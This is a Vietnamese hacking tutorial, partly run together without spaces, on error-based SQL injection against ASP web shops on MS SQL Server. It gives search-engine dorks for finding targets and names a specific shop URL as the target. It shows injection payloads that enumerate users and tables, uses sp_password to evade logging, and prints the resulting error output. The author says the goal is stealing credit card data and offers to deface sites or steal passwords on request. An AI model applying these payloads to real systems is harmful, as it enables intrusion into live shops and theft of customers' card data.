Hack shop qua lỗi SQL server injection

Hack bang ky thuat convert noi nom na la convert 1 bieu thuc dang string sang dang int nhung ko the thuc hienduoc gay thong bao loi (co nhung shop ma ta khong nhan duoc thong bao cua no,vi value=hidden),vi the truoctien de hack duoc shop ODBC MySQL server2000 hay 7.0 thi it nhat anh em cung phai xem qua source 1 chutha,de roi con biet co nen hack theo cach nao`.
Nội dung trích xuất từ tài liệu:
Hack shop qua lỗi SQL server injectionHackshopqualỗiSQLserverinjectiontrangnàyđãđượcđọc lầngioithieusoquachoanhembietvehacksqlserverinjectha!hackbangkythuatconvertnoinomnalaconvert1bieuthucdangstringsangdangintnhungkothethuchienduocgaythongbaoloi(conhungshopmatakhongnhanduocthongbaocuano,vivalue=hidden),vithetruoctiendehackduocshopODBCMySQLserver2000hay7.0thiitnhatanhemcungphaixemquasource1chutha,deroiconbietconenhacktheocachnao`.odaychigioithieucachconvertdung`delaythongbaoloithoi,neumaybaccanhackcaserverthinoinhieu,noidaidonglam...Detail:searchtrencactrangsearchenginetuyanhemthichthoi,hiencoratnhieutrangsearchenginemaanhemthuongdungnhuwww.google.comhoacwww.froogle.google.comwww.av.comwww.alltheweb.comyahoo.com......oksearchfor:allinurl:/shop/viewproduct.asphoacmaybaccothesearch=tukeywordallinurl:/shop/index.asp(nhungcaitukhoanayvanchuaxacnhanduoctinhdungdancuano,vinochoratatratnhieusite,makophaiODBCMySQLdatabase,hic,mathuongla`JSP(javaserverpage)hoacJET,hoacVB.net....netvadenaycanphaicosunoluccuaanhemtrongviectest.okcoduocmuctieuroichondai1thang,vd:http://www.mcmessentials.com.au/shop/viewp...20&categoryid=5okaycomuctieuroibatdautestnohahttp://www.mcmessentials.com.au/shop/viewp...tegoryid=5neuCSDLcuanoduocviet=ODBCMySQLserverthianhemsenhanduocthongbaosauMicrosoftOLEDBProviderforODBCDriverserror80040e14[Microsoft][ODBCSQLServerDriver][SQLServer]Unclosedquotationmarkbeforethecharacterstring./shop/include/viewproduct.asp,line3okay,conneukothikothaygihet,hoacla`banphaixemtrongsourcedebiet.okbatdautimtablecothetesttheocaccachsaumaemdabiet;having1=1sp_passwordhaving1=1sp_passwordhaving1=1sp_password(having1=1sp_password)having1=1sp_password(space)having1=1_sp_password(%20laspacelakhoangtrangday)thuongthitest=cautruyvan(space)having1=1sp_passwordladuocduyetquaok*luuycacanhem1dieuratcanthiet1%2bconghialadau+nhungmatruyentructiepdau+vaosebiSQLfiltermatbatbuocphaicosp_passworddemarkslogtranhbiphathienhttp://www.mcmessentials.com.au/shop/viewp...=1sp_passwordMicrosoftOLEDBProviderforODBCDriverserror80040e14[Microsoft][ODBCSQLServerDriver][SQLServer]Columncategories.labelisinvalidintheselectlistbecauseitisnotcontainedinanaggregatefunctionandthereisnoGROUPBYclause./shop/include/viewproduct.asp,line9tabietduoctablecategories,columnlalabel,baygiotadilaytatcacactablecuacolumnlabelthuoctablecategoriesbaygiodilayuser_namecuashopthongquacautruyvansau%2bconvert(int,user_name())sp_passworddaydula`http://www.mcmessentials.com.au/shop/viewp...))sp_passwordMicrosoftOLEDBProviderforODBCDriverserror80040e07[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvaluebraunshoptoacolumnofdatatypeint./shop/include/viewproduct.asp,line3braunshoplatruonguser_namecuashop*luuy2truonguser_name()ladexacdinhuserhientai,neunoladbothitacokhananghackthangvaocaservermakocanquyenadmin,conneukothitaconhungbuoctrunggiandechiem,oktadunglaiovieclaycctushopmathoi,konoidenchuyenchiemcaserver,muchdichdeanhemhochoi,vatraodoikinhnghiemlachinh,koloikeoanhemphahoainghiemtrongdenbatcuaikhacnentoichipostvadunglaiophanlayccmathoi,conneuaicothuoangivoithangnao,muondeface,laypass,layroot,layserver,hostthilienhevoitoiokbaygiotaselanluotlaycactabletrencolumnlabellaytablethu1thongquacautruyvansau%2bconvert(int,(select%20top%201%20table_name%20from%20information_schema.tables))sp_passworddaydula`http://www.mcmessentials.com.au/shop/viewp...))sp_passwordMicrosoftOLEDBProviderforODBCDriverserror80040e07[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvaluecategorieslisttoacolumnofdatatypeint./shop/include/viewproduct.asp,line3oktable1lacategorieslist,muonlaytablethu2thiphaidungdenwheretable_namenotin(table1)cautruyvannhusau:%2bconvert(int,(select%20top%201%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in(categorieslist)))sp_passwordhttp://www.mcmessentials.com.au/shop/viewp...))sp_passwordMicrosoftOLEDBProviderforODBCDriverserror80040e07[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalueallorderstoacolumnofdatatypeint./shop/include/viewproduct.asp, ...